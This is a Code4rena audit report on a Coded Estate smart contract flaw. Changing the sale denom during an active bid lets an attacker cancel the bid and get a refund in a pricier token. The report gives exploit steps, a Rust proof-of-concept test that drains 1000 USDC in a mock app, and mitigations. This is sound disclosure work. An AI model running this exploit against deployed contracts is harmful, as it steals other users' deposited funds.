Lack of validation in setlistforsell allows changing denom while there is active bid, leading to stealing of other users' funds

[c4-bot-9]

Lines of code

https://github.com/code-423n4/2024-10-coded-estate/blob/main/contracts/codedestate/src/execute.rs#L619-L645

Vulnerability details

Impact

This vulnerability allows attacker to manipulate the token denom during an active bid. By exploiting this bug, attackers can cancel their own bids and receive refunds in a more valuable token than originally used, effectively stealing funds from the contract's pool of user deposits.

Description

The bug stems from a lack of validation in the setlistforsell function, which allows sellers to change the payment token (denom) even when there are active bids on a token.

The setbidtobuy function, when used to cancel a bid, refunds the buyer using the current denom specified for the token:

pub fn setlistforsell(
    &self,
    deps: DepsMut,
    env: Env,
    info: MessageInfo,
    islisted:bool,
    token_id: String,
    denom: String,
    price: u64,
    auto_approve: bool,
) -> Result<Response<C>, ContractError> {
    let mut token = self.tokens.load(deps.storage, &token_id)?;
    // ensure we have permissions
    self.check_can_approve(deps.as_ref(), &env, &info, &token)?;

    // @c4-contest: no validation whether there is active bid
    token.sell.islisted = Some(islisted);
    token.sell.price = price;
    token.sell.auto_approve = auto_approve;
    token.sell.denom = denom;
    self.tokens.save(deps.storage, &token_id, &token)?;

    Ok(Response::new()
        .add_attribute("action", "setlistforsell")
        .add_attribute("sender", info.sender)
        .add_attribute("token_id", token_id))
}
pub fn setbidtobuy(
    &self,
    deps: DepsMut,
    _env: Env,
    info: MessageInfo,
    token_id: String,
) -> Result<Response<C>, ContractError> {
    // ... (snipped code)

    if position != -1 && (amount > Uint128::from(0u64)) { // if the bid exists
        Ok(Response::new()
        .add_attribute("action", "setbidtobuy")
        .add_attribute("sender", info.sender.clone())
        .add_attribute("token_id", token_id)
        .add_message(BankMsg::Send {
            to_address: info.sender.to_string(),
            amount: vec![Coin {
                denom: token.sell.denom, // funds are sent back in the denom set in `setlistforsell`
                amount: amount,
            }],
        }))
    }
    // ... (snipped code)
}

However, the setlistforsell function lacks checks for active bids, allowing a seller to change the denom at any time. This creates an exploit scenario where an attacker can:

1. Mint a new token.
2. List the token for sale, specifying a low-value token (e.g., TokenX worth $0.01) as the denom.
3. Bid on their own token, paying with the low-value TokenX.
4. Call setlistforsell again, changing the denom to a high-value token (e.g., USDC worth $1).
5. Cancel their bid by calling setbidtobuy, receiving a refund in the new, more valuable USDC.

This exploit allows the attacker to drain funds from the contract that were deposited by other users. For example, if the attacker initially bid 1,000 TokenX ($10), they could receive 1,000 USDC ($1,000) as a refund, effectively stealing USDC from the contract.

Proof-of-Concept

The following test demonstrate the described scenario.

Boilerplate for PoC: https://gist.github.com/nnez/c76b1a867dd8dc441dbe552e048b796e

Steps

1. Replace everything in contracts/codedestate/src/multi_tests.rs with boilerplate from above secret gist.
2. Insert below test:

#[test]
fn h3_drain_funds_by_updates_selling_denom() {
    let (mut app, contract_addr) = mock_app_init_contract();
    
    const ATTACKER: &str = "attacker";
    const ATTTCKER_TOKEN_ID: &str = "attacker-token";
    const ATTACKER_USELESS_DENOM: &str = "useless-coin";
    
    // init ATTACKER useless denom balance
    init_denom_balance(&mut app, ATTACKER, ATTACKER_USELESS_DENOM, 1000);

    // Attacker mints a new token
    execute_mint(&mut app, &contract_addr, ATTACKER, ATTTCKER_TOKEN_ID);
    // Asserts that token is minted
    assert_eq!(query_token_count(&app, &contract_addr.to_string()), 1);

    // Attacker lists for sell, specifying useless token as denom
    let set_list_for_sell_msg: ExecuteMsg<Option<Empty>, Empty> = ExecuteMsg::SetListForSell { 
        islisted: true, 
        token_id: ATTTCKER_TOKEN_ID.to_string(), 
        denom: ATTACKER_USELESS_DENOM.to_string(), 
        price: 1000, 
        auto_approve: true
    };
    let res = app.execute_contract(
        Addr::unchecked(ATTACKER),
        contract_addr.clone(),
        &set_list_for_sell_msg,
        &[],
    );
    assert!(res.is_ok()); // Everything is ok
        
    // ATTACKER bid with useless denom
    let set_bid_to_buy_msg: ExecuteMsg<Option<Empty>, Empty> = ExecuteMsg::SetBidToBuy { 
        token_id: ATTTCKER_TOKEN_ID.to_string()
     };
    let res = app.execute_contract(
        Addr::unchecked(ATTACKER),
        contract_addr.clone(),
        &set_bid_to_buy_msg,
        &vec![Coin {
            denom: ATTACKER_USELESS_DENOM.to_string(),
            amount: Uint128::new(1000),
        }],
    );
    assert!(res.is_ok()); // Everything is ok

    // Asserts that the contract now holds 1000 useless tokens
    assert_eq!(query_denom_balance(&app, ATTACKER, ATTACKER_USELESS_DENOM), 0);
    assert_eq!(query_denom_balance(&app, &contract_addr.to_string(), ATTACKER_USELESS_DENOM), 1000);

    // init balance for contract assuming there were some fund already  
    // simulating active bids or rentals on other users' property
    init_denom_balance(&mut app, &contract_addr.to_string(), USDC, 5000);

    
    // Attacker invokes setlistforsell again changing denom to USDC
    let set_list_for_sell_msg: ExecuteMsg<Option<Empty>, Empty> = ExecuteMsg::SetListForSell { 
        islisted: true, 
        token_id: ATTTCKER_TOKEN_ID.to_string(), 
        denom: USDC.to_string(), 
        price: 1000, 
        auto_approve: true
    };
    let res = app.execute_contract(
        Addr::unchecked(ATTACKER),
        contract_addr.clone(),
        &set_list_for_sell_msg,
        &[],
    );
    assert!(res.is_ok()); // Everything is ok

    // Attacker cancels their current bid by invoking setbidtobuy
    let res = app.execute_contract(
        Addr::unchecked(ATTACKER),
        contract_addr.clone(),
        &set_bid_to_buy_msg,
        &[],
    );
    assert!(res.is_ok()); // Everything is ok

    // Asserts that attacker gets 1000 USDC as a refund
    // Asserts that contract loses 1000 USDC to attacker
    assert_eq!(query_denom_balance(&app, ATTACKER, USDC), 1000);
    assert_eq!(query_denom_balance(&app, &contract_addr.to_string(), USDC), 4000); //funds were drained
}

3. Run cargo test h3_drain_funds_by_updates_selling_denom -- --nocapture
4. Observe that the test passes, indicating that the described scenario is valid.

Recommended Mitigations

• Disallow changing denom while there is active bid.
• Consider introducing another function for seller to cancel all the bids (sending refunds to all bidders) because disallowing setlistforsell while there is active bid might also introduce a deadlock for seller.
  OR
• Use a separate mapping variable to store each bid information.

Assessed type

Invalid Validation

[c4-judge]

OpenCoreCH marked the issue as primary issue

[c4-judge]

OpenCoreCH marked the issue as selected for report

[blockchainstar12]

Changing any listing details are not allowed while active bids exist